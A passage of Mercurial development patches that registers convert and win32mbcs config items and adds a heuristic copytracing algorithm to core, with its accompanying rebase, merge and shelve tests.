# Node ID 2b7f5d38e59e53337c1805587630762d8039f860
# Parent  7d83591831f02c99f8a36fefe79849000572ab95
configitems: register the 'convert.localtimezone' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -94,6 +94,9 @@
 configitem('convert', 'ignoreancestorcheck',
     default=False,
 )
+configitem('convert', 'localtimezone',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786580 -7200
#      Fri Jun 30 03:36:20 2017 +0200
# Node ID b1d94bc61c798c380e97e952773c7b19773f28a6
# Parent  2b7f5d38e59e53337c1805587630762d8039f860
configitems: register the 'convert.p4.startrev' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -97,6 +97,9 @@
 configitem('convert', 'localtimezone',
     default=False,
 )
+configitem('convert', 'p4.startrev',
+    default=0,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/p4.py b/hgext/convert/p4.py
--- a/hgext/convert/p4.py
+++ b/hgext/convert/p4.py
@@ -138,7 +138,7 @@
         vieworder.sort(key=len, reverse=True)
 
         # handle revision limiting
-        startrev = self.ui.config('convert', 'p4.startrev', default=0)
+        startrev = self.ui.config('convert', 'p4.startrev')
 
         # now read the full changelists to get the list of file revisions
         ui.status(_('collecting p4 changelists\n'))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786588 -7200
#      Fri Jun 30 03:36:28 2017 +0200
# Node ID 52cbbd28cb2ad08a4c6e54c75818ca95c9b53872
# Parent  b1d94bc61c798c380e97e952773c7b19773f28a6
configitems: register the 'convert.skiptags' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -100,6 +100,9 @@
 configitem('convert', 'p4.startrev',
     default=0,
 )
+configitem('convert', 'skiptags',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786596 -7200
#      Fri Jun 30 03:36:36 2017 +0200
# Node ID b888787205269c1a18e85b198ff4616e5d3ae6ce
# Parent  52cbbd28cb2ad08a4c6e54c75818ca95c9b53872
configitems: register the 'convert.svn.debugsvnlog' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -103,6 +103,9 @@
 configitem('convert', 'skiptags',
     default=False,
 )
+configitem('convert', 'svn.debugsvnlog',
+    default=True,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -1059,7 +1059,7 @@
         args = [self.baseurl, relpaths, start, end, limit,
                 discover_changed_paths, strict_node_history]
         # developer config: convert.svn.debugsvnlog
-        if not self.ui.configbool('convert', 'svn.debugsvnlog', True):
+        if not self.ui.configbool('convert', 'svn.debugsvnlog'):
             return directlogstream(*args)
         arg = encodeargs(args)
         hgexe = util.hgexecutable()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786606 -7200
#      Fri Jun 30 03:36:46 2017 +0200
# Node ID 0cfa7d9b889cf62889cf7eadd2eab77b3e533ef3
# Parent  b888787205269c1a18e85b198ff4616e5d3ae6ce
configitems: register the 'convert.svn.startrev' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -106,6 +106,9 @@
 configitem('convert', 'svn.debugsvnlog',
     default=True,
 )
+configitem('convert', 'svn.startrev',
+    default=0,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -354,7 +354,7 @@
 
         self.trunkname = self.ui.config('convert', 'svn.trunk',
                                         'trunk').strip('/')
-        self.startrev = self.ui.config('convert', 'svn.startrev', default=0)
+        self.startrev = self.ui.config('convert', 'svn.startrev')
         try:
             self.startrev = int(self.startrev)
             if self.startrev < 0:
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1504390755 -19800
#      Sun Sep 03 03:49:15 2017 +0530
# Node ID 036d47d7cf3926214ea1440a196f953fff8d119f
# Parent  0cfa7d9b889cf62889cf7eadd2eab77b3e533ef3
copytrace: move fast heuristic copytracing algorithm to core

copytrace extension in fb-hgext has a heuristic implementation of copy tracing
which is faster than the current copy tracing. The heuristic limits the search
of copies to just files that are either:

1) Renames in the same directory
2) Moved to other directory with same name

The default copytrace implementation is very slow as it finds all the new files
that were added from merge base up to the head commit and for each file it
checks whether it this was copied or moved version of a different file.

Stash@fb did analysis for the above heuristics on the fb repo and found that
among 2,443,768 moves/copies there are only 32,234 moves/copies which does not
fall under the above heuristics which is approx. 0.013 of total copies.

This patch moves the heuristics algorithm under config
`experimental.copytrace=heuristics`.

While moving fbext to core, this patch removes couple of less useful config
options named `sourcecommitlimit` and `maxmovescandidatestocheck`.

Tests are also added for the heuristics algorithm, which are basically copied
from fbext/tests/test-copytrace.t. The tests follow a pattern creating a server
repo and then cloning to a local repo to create public and draft changesets, the
distinction which will be useful in upcoming patches.

After this patch `experimental.copytrace` has the following behaviour:

1) `off`: turns off copytracing
2) `heuristics`: use the heuristic algorithm added in this patch.
3) everything else: use the full copytracing algorithm

.. feature::

   A new fast heuristic algorithm for copytracing which assumes that the files
   moves are either::
   1) Renames in the same directory
   2) Moves in other directories with same names
   You can use this algorithm by setting `experimental.copytrace=heuristics`.

Differential Revision: https://phab.mercurial-scm.org/D623

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -7,7 +7,9 @@
 
 from __future__ import absolute_import
 
+import collections
 import heapq
+import os
 
 from . import (
     match as matchmod,
@@ -364,6 +366,8 @@
     # rebase.
     if copytracing == 'off':
         return {}, {}, {}, {}, {}
+    elif copytracing == 'heuristics':
+        return _heuristicscopytracing(repo, c1, c2, base)
     else:
         return _fullcopytracing(repo, c1, c2, base)
 
@@ -599,6 +603,94 @@
 
     return copy, movewithdir, diverge, renamedelete, dirmove
 
+def _heuristicscopytracing(repo, c1, c2, base):
+    """ Fast copytracing using filename heuristics
+
+    Assumes that moves or renames are of following two types:
+
+    1) Inside a directory only (same directory name but different filenames)
+    2) Move from one directory to another
+                    (same filenames but different directory names)
+
+    Works only when there are no merge commits in the "source branch".
+    Source branch is commits from base up to c2 not including base.
+
+    If merge is involved it fallbacks to _fullcopytracing().
+
+    Can be used by setting the following config:
+
+        [experimental]
+        copytrace = heuristics
+    """
+
+    if c1.rev() is None:
+        c1 = c1.p1()
+    if c2.rev() is None:
+        c2 = c2.p1()
+
+    copies = {}
+
+    changedfiles = set()
+    m1 = c1.manifest()
+    if not repo.revs('%d::%d', base.rev(), c2.rev()):
+        # If base is not in c2 branch, we switch to fullcopytracing
+        repo.ui.debug("switching to full copytracing as base is not "
+                      "an ancestor of c2\n")
+        return _fullcopytracing(repo, c1, c2, base)
+
+    ctx = c2
+    while ctx != base:
+        if len(ctx.parents()) == 2:
+            # To keep things simple let's not handle merges
+            repo.ui.debug("switching to full copytracing because of merges\n")
+            return _fullcopytracing(repo, c1, c2, base)
+        changedfiles.update(ctx.files())
+        ctx = ctx.p1()
+
+    cp = _forwardcopies(base, c2)
+    for dst, src in cp.iteritems():
+        if src in m1:
+            copies[dst] = src
+
+    # file is missing if it isn't present in the destination, but is present in
+    # the base and present in the source.
+    # Presence in the base is important to exclude added files, presence in the
+    # source is important to exclude removed files.
+    missingfiles = filter(lambda f: f not in m1 and f in base and f in c2,
+                          changedfiles)
+
+    if missingfiles:
+        basenametofilename = collections.defaultdict(list)
+        dirnametofilename = collections.defaultdict(list)
+
+        for f in m1.filesnotin(base.manifest()):
+            basename = os.path.basename(f)
+            dirname = os.path.dirname(f)
+            basenametofilename[basename].append(f)
+            dirnametofilename[dirname].append(f)
+
+        # in case of a rebase/graft, base may not be a common ancestor
+        anc = c1.ancestor(c2)
+
+        for f in missingfiles:
+            basename = os.path.basename(f)
+            dirname = os.path.dirname(f)
+            samebasename = basenametofilename[basename]
+            samedirname = dirnametofilename[dirname]
+            movecandidates = samebasename + samedirname
+            # f is guaranteed to be present in c2, that's why
+            # c2.filectx(f) won't fail
+            f2 = c2.filectx(f)
+            for candidate in movecandidates:
+                f1 = c1.filectx(candidate)
+                if _related(f1, f2, anc.rev()):
+                    # if there are a few related copies then we'll merge
+                    # changes into all of them. This matches the behaviour
+                    # of upstream copytracing
+                    copies[candidate] = f
+
+    return copies, {}, {}, {}, {}
+
 def _related(f1, f2, limit):
     """return True if f1 and f2 filectx have a common ancestor
 
diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
new file mode 100644
--- /dev/null
+++ b/tests/test-copytrace-heuristics.t
@@ -0,0 +1,591 @@
+Test for the heuristic copytracing algorithm
+============================================
+
+  $ cat >> $TESTTMP/copytrace.sh << '__EOF__'
+  > initclient() {
+  > cat >> $1/.hg/hgrc <<EOF
+  > [experimental]
+  > copytrace = heuristics
+  > EOF
+  > }
+  > __EOF__
+  $ . "$TESTTMP/copytrace.sh"
+
+  $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > rebase=
+  > shelve=
+  > EOF
+
+Check filename heuristics (same dirname and same basename)
+  $ hg init server
+  $ cd server
+  $ echo a > a
+  $ mkdir dir
+  $ echo a > dir/file.txt
+  $ hg addremove
+  adding a
+  adding dir/file.txt
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg mv -q dir dir2
+  $ hg ci -m 'mv a b, mv dir/ dir2/'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ echo b > a
+  $ echo b > dir/file.txt
+  $ hg ci -qm 'mod a, mod dir/file.txt'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 557f403c0afd2a3cf15d7e2fb1f1001a8b85e081
+  |   desc: mod a, mod dir/file.txt, phase: draft
+  | o  changeset: 928d74bc9110681920854d845c06959f6dfc9547
+  |/    desc: mv a b, mv dir/ dir2/, phase: public
+  o  changeset: 3c482b16e54596fed340d05ffaf155f156cda7ee
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 1
+  rebasing 2:557f403c0afd "mod a, mod dir/file.txt" (tip)
+  merging b and a to b
+  merging dir2/file.txt and dir/file.txt to dir2/file.txt
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/557f403c0afd-9926eeff-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Make sure filename heuristics do not when they are not related
+  $ hg init server
+  $ cd server
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg rm a
+  $ echo 'completelydifferentcontext' > b
+  $ hg add b
+  $ hg ci -m 'rm a, add b'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ printf 'somecontent\nmoarcontent' > a
+  $ hg ci -qm 'mode a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: d526312210b9e8f795d576a77dc643796384d86e
+  |   desc: mode a, phase: draft
+  | o  changeset: 46985f76c7e5e5123433527f5c8526806145650b
+  |/    desc: rm a, add b, phase: public
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 1
+  rebasing 2:d526312210b9 "mode a" (tip)
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Test when lca didn't modified the file that was moved
+  $ hg init server
+  $ cd server
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m randomcommit
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 1
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 9d5cf99c3d9f8e8b05ba55421f7f56530cfcf3bc
+  |   desc: mod a, phase: draft
+  | o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
+  |/    desc: mv a b, phase: public
+  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
+  |   desc: randomcommit, phase: public
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 2
+  rebasing 3:9d5cf99c3d9f "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/9d5cf99c3d9f-f02358cc-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Rebase "backwards"
+  $ hg init server
+  $ cd server
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m randomcommit
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 2
+  $ echo b > b
+  $ hg ci -qm 'mod b'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: fbe97126b3969056795c462a67d93faf13e4d298
+  |   desc: mod b, phase: draft
+  o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
+  |   desc: mv a b, phase: public
+  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
+  |   desc: randomcommit, phase: public
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 0
+  rebasing 3:fbe97126b396 "mod b" (tip)
+  merging a and b to a
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/fbe97126b396-cf5452a1-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Rebase draft commit on top of draft commit
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg up -q ".^"
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 5268f05aa1684cfb5741e9eb05eddcc1c5ee7508
+  |   desc: mod a, phase: draft
+  | o  changeset: 542cb58df733ee48fa74729bd2cdb94c9310d362
+  |/    desc: mv a b, phase: draft
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: draft
+
+  $ hg rebase -s . -d 1
+  rebasing 2:5268f05aa168 "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/5268f05aa168-284f6515-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Check a few potential move candidates
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ mkdir dir
+  $ echo a > dir/a
+  $ hg add dir/a
+  $ hg ci -qm initial
+  $ hg mv dir/a dir/b
+  $ hg ci -qm 'mv dir/a dir/b'
+  $ mkdir dir2
+  $ echo b > dir2/a
+  $ hg add dir2/a
+  $ hg ci -qm 'create dir2/a'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ echo b > dir/a
+  $ hg ci -qm 'mod dir/a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
+  |   desc: mod dir/a, phase: draft
+  | o  changeset: 4494bf7efd2e0dfdd388e767fb913a8a3731e3fa
+  | |   desc: create dir2/a, phase: public
+  | o  changeset: b1784dfab6ea6bfafeb11c0ac50a2981b0fe6ade
+  |/    desc: mv dir/a dir/b, phase: public
+  o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 2
+  rebasing 3:6b2f4cece40f "mod dir/a" (tip)
+  merging dir/b and dir/a to dir/b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/6b2f4cece40f-503efe60-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move file in one branch and delete it in another
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg up -q ".^"
+  $ hg rm a
+  $ hg ci -m 'del a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 7d61ee3b1e48577891a072024968428ba465c47b
+  |   desc: del a, phase: draft
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b, phase: draft
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+
+  $ hg rebase -s 1 -d 2
+  rebasing 1:472e38d57782 "mv a b"
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/472e38d57782-17d50e29-rebase.hg (glob)
+  $ hg up -q c492ed3c7e35dcd1dc938053b8adf56e2cfbd062
+  $ ls
+  b
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move a directory in draft branch
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ mkdir dir
+  $ echo a > dir/a
+  $ hg add dir/a
+  $ hg ci -qm initial
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ echo b > dir/a
+  $ hg ci -qm 'mod dir/a'
+  $ hg up -q ".^"
+  $ hg mv -q dir/ dir2
+  $ hg ci -qm 'mv dir/ dir2/'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: a33d80b6e352591dfd82784e1ad6cdd86b25a239
+  |   desc: mv dir/ dir2/, phase: draft
+  | o  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
+  |/    desc: mod dir/a, phase: draft
+  o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 1
+  rebasing 2:a33d80b6e352 "mv dir/ dir2/" (tip)
+  merging dir/a and dir2/a to dir2/a
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/a33d80b6e352-fecb9ada-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move file twice and rebase mod on top of moves
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg mv b c
+  $ hg ci -m 'mv b c'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ echo c > a
+  $ hg ci -m 'mod a'
+  created new head
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
+  |   desc: mod a, phase: draft
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c, phase: public
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+  $ hg rebase -s . -d 2
+  rebasing 3:d41316942216 "mod a" (tip)
+  merging c and a to c
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d41316942216-2b5949bc-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move file twice and rebase moves on top of mods
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg mv b c
+  $ hg ci -m 'mv b c'
+  $ hg up -q 0
+  $ echo c > a
+  $ hg ci -m 'mod a'
+  created new head
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
+  |   desc: mod a, phase: draft
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c, phase: draft
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b, phase: draft
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+  $ hg rebase -s 1 -d .
+  rebasing 1:472e38d57782 "mv a b"
+  merging a and b to b
+  rebasing 2:d3efd280421d "mv b c"
+  merging b and c to c
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/472e38d57782-ab8d3c58-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move one file and add another file in the same folder in one branch, modify file in another branch
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m 'add c'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a, phase: draft
+  | o  changeset: b1a6187e79fbce851bb584eadcb0cc4a80290fd9
+  | |   desc: add c, phase: public
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 2
+  rebasing 3:ef716627c70b "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+  $ ls
+  b
+  c
+  $ cat b
+  b
+
+Merge test
+  $ hg init server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo b > a
+  $ hg ci -m 'modify a'
+  $ hg up -q 0
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  created new head
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 2
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b, phase: public
+  | o  changeset: b0357b07f79129a3d08a68621271ca1352ae8a09
+  |/    desc: modify a, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+
+  $ hg merge 1
+  merging b and a to b
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -m merge
+  $ ls
+  b
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Copy and move file
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg cp a c
+  $ hg mv a b
+  $ hg ci -m 'cp a c, mv a b'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q 0
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a, phase: draft
+  | o  changeset: 4fc3fd13fbdb89ada6b75bfcef3911a689a0dde8
+  |/    desc: cp a c, mv a b, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+
+  $ hg rebase -s . -d 1
+  rebasing 2:ef716627c70b "mod a" (tip)
+  merging b and a to b
+  merging c and a to c
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+  $ ls
+  b
+  c
+  $ cat b
+  b
+  $ cat c
+  b
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Do a merge commit with many consequent moves in one branch
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ hg up -q ".^"
+  $ hg mv a b
+  $ hg ci -qm 'mv a b'
+  $ hg mv b c
+  $ hg ci -qm 'mv b c'
+  $ hg up -q 1
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  |   desc: mv b c, phase: draft
+  o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b, phase: draft
+  | @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |/    desc: mod a, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+
+  $ hg merge 3
+  merging a and c to c
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -qm 'merge'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @    changeset: cd29b0d08c0f39bfed4cde1b40e30f419db0c825
+  |\    desc: merge, phase: draft
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c, phase: draft
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  | |   desc: mv a b, phase: draft
+  o |  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |/    desc: mod a, phase: public
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+  $ ls
+  c
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Test shelve/unshelve
+  $ hg init server
+  $ initclient server
+  $ cd server
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ cd ..
+  $ hg clone -q server repo
+  $ initclient repo
+  $ cd repo
+  $ echo b > a
+  $ hg shelve
+  shelved as default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b, phase: draft
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: public
+  $ hg unshelve
+  unshelving change 'default'
+  rebasing shelved changes
+  rebasing 2:45f63161acea "changes to: initial" (tip)
+  merging b and a to b
+  $ ls
+  b
+  $ cat b
+  b
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787154 -7200
#      Fri Jun 30 03:45:54 2017 +0200
# Node ID 37513324f620298a6e43768926daa5e2fbec10d9
# Parent  036d47d7cf3926214ea1440a196f953fff8d119f
configitems: register the 'win32mbcs.encoding' config

diff --git a/hgext/win32mbcs.py b/hgext/win32mbcs.py
--- a/hgext/win32mbcs.py
+++ b/hgext/win32mbcs.py
@@ -54,6 +54,7 @@
     encoding,
     error,
     pycompat,
+    registrar,
 )
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
@@ -62,6 +63,15 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+# Encoding.encoding may be updated by --encoding option.
+# Use a lambda do delay the resolution.
+configitem('win32mbcs', 'encoding',
+    default=lambda: encoding.encoding,
+)
+
 _encoding = None                                # see extsetup
 
 def decode(arg):
@@ -175,7 +185,7 @@
         return
     # determine encoding for filename
     global _encoding
-    _encoding = ui.config('win32mbcs', 'encoding', encoding.encoding)
+    _encoding = ui.config('win32mbcs', 'encoding')
     # fake is only for relevant environment.
     if _encoding.lower() in problematic_encodings.split():
         for f in funcs.split():
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786994 -7200
#      Fri Jun 30 03:43:14 2017 +0200
# Node ID 62490b84ebf8bb27da580f34ebf283288b566814
# Parent  37513324f620298a6e43768926daa5e2fbec10d9
configitems: register the 'mq.git' config

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -109,6 +109,13 @@
